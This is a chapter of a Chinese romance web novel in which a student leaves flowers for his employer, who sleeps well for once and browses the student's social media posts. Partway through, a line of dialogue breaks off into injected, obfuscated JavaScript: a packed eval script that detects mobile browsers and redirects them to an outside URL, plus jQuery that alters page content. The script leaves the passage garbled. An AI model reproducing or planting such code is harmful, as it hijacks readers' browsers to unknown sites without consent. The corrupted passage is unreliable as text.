宁和景拒绝了店员的包扎,直接抱着花束回到了商迟雪家,从角落里翻出那个闲置的收口花瓶,洗干净接了水,小心翼翼地将花枝对准瓶口插进去。
淡粉色与天青色相撞,清新淡雅,分外宜人。
很好看。
宁和景低头,鼻尖几乎要触碰到那凉丝丝的花瓣。一缕极淡,极清幽的香气如丝线般轻轻钻进他的鼻腔。
很干净的香气,带有一点草木涩味的清香,混杂着一点点……说不清,若有似无的暖意。
他欣赏了一会,抱起花瓶想要找个合适的地方放好。在屋子里转了一圈,最后还是回到客厅,郑重地将花瓶放在茶桌正中央。
“你们还是待在这里吧。”宁和景转动花瓶,让花束呈现最灿烂的姿态。
他下意识就想掏出手机拍照告诉商先生一声,可想起什么,又把手机收了回去。
“商先生今晚就会回来,希望你们能让他喜欢。”宁和景轻轻拍拍花朵,起身,最后看一眼花束,关上门离开。
。
商迟雪从聚会回来的时候,已经是晚上九点。送他回来的司机是商家专职的司机,一同回来的还有被灌了几杯酒的韩西。
车子在地下车库稳稳停下,司机快速下车,手脚利索地从后备箱取出轮椅,推到车门边固定住,随即束手站在一旁,安静地等待商迟雪自己移上轮椅。
在商家工作的老人都知道三少爷不喜欢别人帮他。
商迟雪坐定,侧头看一眼后座一身淡淡酒气的韩西,对司机道:“把他送回去。”
韩西也是商家的熟客了,因此司机点点头,也没问具体要送回哪里。
韩西脑袋还算清明:“你先进电梯,不用管我。”
车停放的位置就在电梯旁边,不用两步路就能到。
商迟雪没和他客气,只转头吩咐司机:“开车小心。”随后手驱动轮圈,逐渐消失在两人的视线里。
真正回到家,面对一室的黑暗,商迟雪习以为常地打开灯。
灯光乍现,将室内照得光亮。商迟雪不自觉眯眯眼,正要进入客厅,蓦地发现不对劲。
幽淡的花香似有若无,勾着人的目光移向客厅。
茶桌上放着一个花瓶。
商迟雪捏捏山根,今晚他没喝多少酒,但是被韩西身上的酒气熏了一路,思维迟钝了些。
他记得这个花瓶原先是放在角落里,说是花瓶,却已经两年没履行过它的职责,沦为一个单纯的装饰品,安姨辞职之前还曾念叨过要不要换一个花瓶。依照她的审美,觉得作为一个装饰品来说,这个花瓶太素了。
现在这个太素的花瓶插上了花,瓶身一下子变得典雅高贵。
商迟雪慢慢移过去,手指触碰上这神奇出现在他家花瓶里的花,轻轻的,微凉的触感。
“六出花?”他念出了这种花的名字。
商迟雪眉头轻挑,能自由进出他家,并且在他家里留下这么一束花的人只有一个。
他盯着花束,眸里少见地带上疑惑。
宁和景为什么会送他一束花?
送花这个举动,放在年龄相仿的异性之间是暧昧,放在同性之间,却一时找不到合适的词语概括,但人们第一时间并不会往暧昧方面想。
商迟雪也不会。
尽管他今天刚听到林助一脸平静地告诉他:“那位宁先生喜欢您。”
当时商迟雪怀疑是自己耳朵听错了,抬眸瞥了他一眼。
林助又重复了一遍,语调平平,仿若机器人般。
那一瞬间,商迟雪脑海中闪过韩西“林助擅长面不改色撒谎”的话,以及公司里流传颇多的关于林助的流言。
据说林助曾当着公司里一对众人皆知的死对头的面,语不惊人死不休地指出他们暗恋彼此,惹得死对头愤怒地红了脸,夺门而出。
或者端着咖啡,毒舌点评娱乐圈著名的兄弟争一女事件,其实是弟弟占有欲太强,不想哥哥谈恋爱抛下他。
还有……等等等等,成功荣获“腐眼看人基”的称号。
于是商迟雪沉默了,没把他的话当真:“以后这种话不要乱说。”
宁和景不可能会喜欢他。
此时回家看到花,商迟雪拿出手机,打开消息列表,和宁和景之间的聊天记录停留在中午宁和景发出的“商先生,被芯已经晒好,换上了新的被套,我已经离开回校了。”
下面他回了个“好”字。
再往上翻,是宁和景的各种类似于中午那样的汇报消息,有时还会伴随着照片。
如果这是一份方案,相当于宁和景不仅将情况列得清清楚楚,还生怕老板不能理解,贴心地附上照片说明,文字结合照片,一目了然,无比清晰。
当然,这其中偶尔也会夹着一两条和工作无关的照片,比如在校道上斗殴的两只小猫,日落时分无比灿烂的晚霞,因为频率不高,所以不会惹人厌烦。
相反,在工作繁忙之际,看到这些照片,商迟雪也会品出一点小趣味,就像走在路上突然被小猫撞了一下。
照片无论是构图还是趣味性都值得称赞,商迟雪轻易就得出宁和景喜欢并擅长拍照的结论。
但这次的花束为什么没有拍照?
商迟雪输入几个字,想了想,又删去,把手机倒扣放回桌面,解开衬衫顶端的衣扣,头往后靠在沙发上,闭上眼。
依然是他熟悉的环境,熟悉的安静,不同的是多了束陌生的花,淡淡的花香悄无声息地充斥了整个空间,显山不露水,应酬之后绷紧的神经在花香的作用下不自觉放松。
商迟雪突然明白宁和景买束花回来的用意,不是因为花瓶闲置所以买花回来装饰,而是为了让他能够放松精神。
至于为什么没有说一声,商迟雪猜想,以宁和景的性子,估计是担心这有邀功的意味。
给雇主买花,希望他工作之余能够放松精神,听起来似乎超出了宁和景的本职工作范围。但商迟雪知道,这只是因为宁和景一直很感激他,想要尽可能地回报他。
他睁开眼睛,重新拿起手机给宁和景发去消息:我看到花了,谢谢,花很香。
宁和景不知道是不是在忙,没回复,等商迟雪洗完澡回来,才看到宁和景不知何时发来了一个黄豆笑脸。
常见的表情却让商迟雪一下幻视宁和景的笑容,嘴角不由得微微上扬。
他放下手机,熄灯睡觉。
房间顿时陷入一片黑暗,一夜无梦。
第二天醒来的时候,身体前所未有的轻松。
外面的阳光透过窗帘缝隙投射进来,在地板留下一条长长的痕迹,照亮了室内,浮尘悠扬。
是个静谧美好的早晨。
车祸后商迟雪很少有这么高质量的睡眠,只要闭上眼睛,对面左右摇摆着,不受控制撞过来的大货车就会出现在脑海中,耳畔好似又出现父母惊呼的声音,在睡梦中循环上演,一次又一次,以至于时常半夜惊醒,后背一身冷汗。
商迟雪清楚自己是心理出了问题,也去找过医生,尝试过一些治疗,但效果不大,像昨晚这样熟睡无梦的情况便显得罕见和神奇。
商迟雪难得没有立即起床,半靠在床头。因为休息得好,他的状态比从前更放松,姿态慵懒地翻阅朋友圈,在韩西怒斥工作堆积如山的抱怨下,点了个赞。
韩西:???商迟雪,你被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498061|202602||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盗号了?
商迟雪很少看朋友圈,自己也很少发,平时最多转发一下公司的公众号推文。
韩西:有空点赞不如来帮我处理工作,这些原本都应该是你干的活[生气.jpg][刀.jpj]
商迟雪敷衍地回复:好好干活。
随后手指毫不犹豫下划,看到宁和景拍了张天空与树的照片,配文“今天天气依旧很好”。
下面只有陆汀浩点赞评论:牛[点赞.jpg],昨晚全宿舍熬夜赶ddl,也就只有你能早起了。
商迟雪先给宁和景点了赞,然后评论陆汀浩:少熬夜。
忽然想起来这好像是他第一次刷到宁和景朋友圈,便顺手点进他的主页。
宁和景的主页设置的是仅半年可见,发的朋友圈也不多,一划便能滑到底,有点出乎商迟雪意料。
他原以为宁和景喜欢拍照,朋友圈应该会有很多照片。
虽然照片不多,但生活气息很浓,或是天空,或是校园一角,商迟雪还在里面看到了宁和景给他看过的两只小猫,比现在要小一点,翘着尾巴走在校道上,惬意不已。
等反应过来这是几个月前的朋友圈消息时,商迟雪已经不自觉点了赞。
他看着点赞沉默一秒。
如果撤回来,难免有些掩耳盗铃的意思。
思及此,商迟雪放弃了撤回的念头。
另一边,陆汀浩终于赶在上课前五分钟踏进教室,目光巡视一圈,找到宁和景。
“借过借过,谢谢。”陆汀浩跨过好几个人,在宁和景隔壁的位置坐下,把宁和景帮他占位放的书推回去,“幺儿,谢了啊。”
“不用谢。”宁和景随手把书塞回去。
众所周知,水课是玩手机最狠的课。
陆汀浩连书都没带,准备到时候蹭宁和景的一起看,然后就懒散地掏出了手机,惯例先去朋友圈批阅奏折。
“我去!”
旁边陆汀浩突然小小惊呼一声,宁和景停下手里的笔:“怎么了?”
陆汀浩捧着手机,苦着脸:“我在你朋友圈下面评论一句,被我哥抓到,让我别熬夜。”
“三哥?”宁和景下意识问道。
得到陆汀浩的点头后,他立刻放下笔,也拿出手机,去看自己今早发的朋友圈,有些紧张。
果然,商先生给他点了一个赞。
“诶你说,我哥万年不刷朋友圈的人,今天怎么就刚好刷朋友圈呢?熬夜对大学生来说多正常的一事啊,也就我哥快三十了,步入养生行列,忘记他开公司那会,熬得比我还狠。你怎么不说话?”陆汀浩边快速地给商迟雪发去[赔笑.jpg]的表情包,边吐槽着,没等到宁和景回答,疑惑抬头。
宁和景看着手机,眼睛映着屏幕的亮光,右手握拳抵在唇边,似乎是想掩盖那笑意,却怎么也遮不住。
“你又露出这种笑了。”陆汀浩眯眼,满是狐疑。
,笑得这么……他看着那张因为笑容,一下子整个人都在发光的脸,绞尽脑汁,笑得这么招人,一定有古怪!
于是试探问道:“你是不是谈恋爱了?”
“没有。”宁和景尽力收起笑容,把手机揣回抽屉里,拿起笔低头继续写字,假装没看见陆汀浩怀疑的目光。
只是那笔落了半天,也不见写出一个解题步骤。
“真的?”陆汀浩嘟囔一声,看不出破绽,也就相信了他的话。
他意识里完全没想过宁和景撒谎这一可能。
也是,幺儿每天不是上课就是去他三哥家,回宿舍也是刷题,还要隔三差五找机会回家看看,哪来的时间谈恋爱,连认识新的人都没机会。